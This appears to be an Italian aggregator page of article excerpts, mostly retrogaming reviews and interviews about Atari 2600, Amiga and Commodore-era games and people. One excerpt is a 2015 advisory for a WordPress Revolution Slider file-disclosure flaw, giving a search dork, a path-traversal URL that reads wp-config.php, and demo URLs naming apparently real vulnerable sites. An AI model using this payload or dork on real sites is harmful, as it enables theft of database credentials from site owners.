BATTLEZONE – Atari 2600 (1980)

29 marzo 2015 - Fonte: http://www.retrogamingplanet.it
In un periodo nel quale in molti si riempiono la bocca con parole come immersività e realtà virtuale, può essere utile scavare nel passato ed andare a riscoprire il primo esempio di gioco con una visuale tridimensionale. Era passato un po' di tempo da Tank, il coin-op che aveva salvato Atari dal fallimento e che in molti conoscono per averlo giocato nella sua versione casalinga, Combat, venduta in bundle con l'Atari 2600. Il gioco a sfondo bellico aveva dimostrato di poter funzionare ma per ottenere un nuovo successo bisognava osare qualcosa di diverso......

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PUZZLE BOBBLE – Nintendo 64 (1994)

23 marzo 2015 - Fonte: http://www.retrogamingplanet.it
È il 1994 quando la TAITO decide di mettere a dura prova la mira di esperti videogiocatori con Puzzle Bobble, un rompicapo davvero singolare, il cui scopo è quello di scoppiare tutte le bolle di un determinato livello, prima che queste tocchino la linea sottostante il cannone di lancio, spinte dal bordo superiore che si abbassa dopo un certo numero di lanci. Sviluppato per numerose piattaforme, Puzzle Bobble ha incantato generazioni di videogiocatori grazie alle semplici meccaniche di gioco e a livelli sempre più intriganti dalla grafica semplice e colorata, accompagnati da allegre ed orecchiabili melodie......

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PREMIERE – Amiga (1992)

11 marzo 2015 - Fonte: http://www.retrogamingplanet.it
Ricordo bene la prima volta che giocai a Premiere sul mio Amiga 600: nel buio della mia camera, una volta inserito il floppy nel lettore, vidi partire l’introduzione animata... Con l’entusiasmo di un bambino (non che fossi molto più grande, in effetti, avevo solo 15 anni) guardai attentamente il filmato e pensai "Deve essere proprio una bella avventura grafica, se le premesse sono queste!". Quanto mi sbagliavo... Immaginate la mia delusione quando, una volta partito il gioco, mi resi conto di trovarmi davanti all’ennesimo platform presumibilmente identico ai tanti altri titoli che avevo giocato su Amiga......

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Intervista a Carlo Pellizzer: Computer Lab e la rete di assistenza Commodore!

3 marzo 2015 - Fonte: http://www.retrogamingplanet.it
Retrogaming Planet vi presenta un personaggio che probabilmente ha poco a che fare con il retrogaming ma che, allo stesso tempo, potrà raccontarci la sua esperienza in Commodore Italiana, vista dal ruolo di dipendente interno prima e laboratorio di assistenza certificato in seguito. Diamo quindi il benvenuto a CARLO PELLIZZER, titolare del primo centro assistenza autorizzato Commodore disponibile in Italia......

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STARPATH SUPERCHARGER – Atari 2600 (1982)

26 febbraio 2015 - Fonte: http://www.retrogamingplanet.it
Correva l'anno 1982. L'Atari VCS 2600 era la console più diffusa al mondo ma dai tempi della sua uscita sul mercato erano arrivati nuovi concorrenti, alcuni dei quali con capacità grafiche e sonore più elevate: l'Intellivision ed i suoi giochi sportivi ma anche il Colecovision con alcune conversioni da far cadere la mascella, rischiavano di togliere il predominio alla console di Atari. Un gruppo di geniali progettisti creò quindi una periferica da utilizzare con il VCS 2600 originale, aumentandone la memoria e le capacità grafiche.......

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T2: THE JUDGEMENT DAY – All versions (1991-1993)

20 febbraio 2015 - Fonte: http://www.retrogamingplanet.it
Dopo l’uscita di T2: Judgement Day in tutte le sale del globo, ci si poteva forse far scappare la ghiotta occasione di produrre il tie-in di uno dei film più amati degli anni 80? Un videogioco che riprende pari pari le vicissitudini del film non poteva non attirare orde di ragazzini che, al solo pronunciare il nome Schwarzenegger, sarebbero stati disposti ad aprire il portafogli senza pensarci un minuto......

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WordPress Revolution Slider Local File Disclosure

6 febbraio 2015 - Fonte: http://www.mondounix.com
[+] Title: Wordpress slider reolusion local file download
[+] Date: 2015-01-25
[+] Author: JOK3R
[+] Vendor Homepage: https://wordpress.org/plugins/patch-for-revolution-slider/
[+] Tested on: windows 7 / firefox , kali linux / firefox
[+] Vulnerable Files: /plugins/revolution-slider/
[+} Dork : "Index of" /wp-content/plugins/revolution-slider/
 
### POC: http://victim/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php
 
### Demo: 
http://www.bungaburgerbar.com/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php
http://www.peanut215.com/peanut/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php
http://www.pro-businesscenter.com/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php
 
 
###...

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Intervista a Delia Lo Calzo: “Il mio incontro con la storica RUN…”

4 febbraio 2015 - Fonte: http://www.retrogamingplanet.it
Proseguendo con il mio progetto di "ricostituzione digitale" della redazione di RUN (la prima rivista su cassetta per ZX Spectrum), questa volta ho deciso di farmi raccontare l'avventura dal punto di vista dell'unica donna, non programmatrice bensì coordinatrice amministrativa, presente in redazione! Credo sia interessante conoscere le sensazioni provate da chi, per forza di cose, si trova a lavorare in mezzo a programmatori e computer, pur non essendo esperta di informatica......

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TOMY RACING TURBO

29 gennaio 2015 - Fonte: http://www.retrogamingplanet.it
In merito alla sezione Giocattoli, inaugurata con lo storico TRICKY TRAPS di Tomy, oggi vorrei proporvi un altro “giochino” che sicuramente tutti voi ragazzi degli anni ’80 (come il sottoscritto), avrete utilizzato almeno una volta: parliamo di Turbo Racing, anch’esso prodotto da Tomy! Il gioco in questione, naturalmente, voleva essere una “simulazione” di una gara automobilistica...simulazione che, a causa di un target di riferimento ben preciso ed evidenti limitazioni tecniche del periodo, non ha però nulla a che fare con una vera gara......

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PITFALL II: LOST CAVERNS – Atari 2600 (1984)

19 gennaio 2015 - Fonte: http://www.retrogamingplanet.it
Dopo l'enorme successo di Pitfall e la parentesi sportiva di Decathlon, David Crane torna sul suo progetto originale e decide di creare un seguito, ampliando il gameplay espresso nel predecessore e portando ad un nuovo livello l'avventura dinamica (o Arcade Adventure, come la definiscono gli inglesi). Pitfall II parte dal personaggio principale e dalla ricerca dei tesori, ingrandendo tutto il resto. Viene creato il Check Point, che oggi conosciamo per averlo visto decine e decine di volte in giochi di ogni tipo, ma che ai tempi era una novità assoluta......

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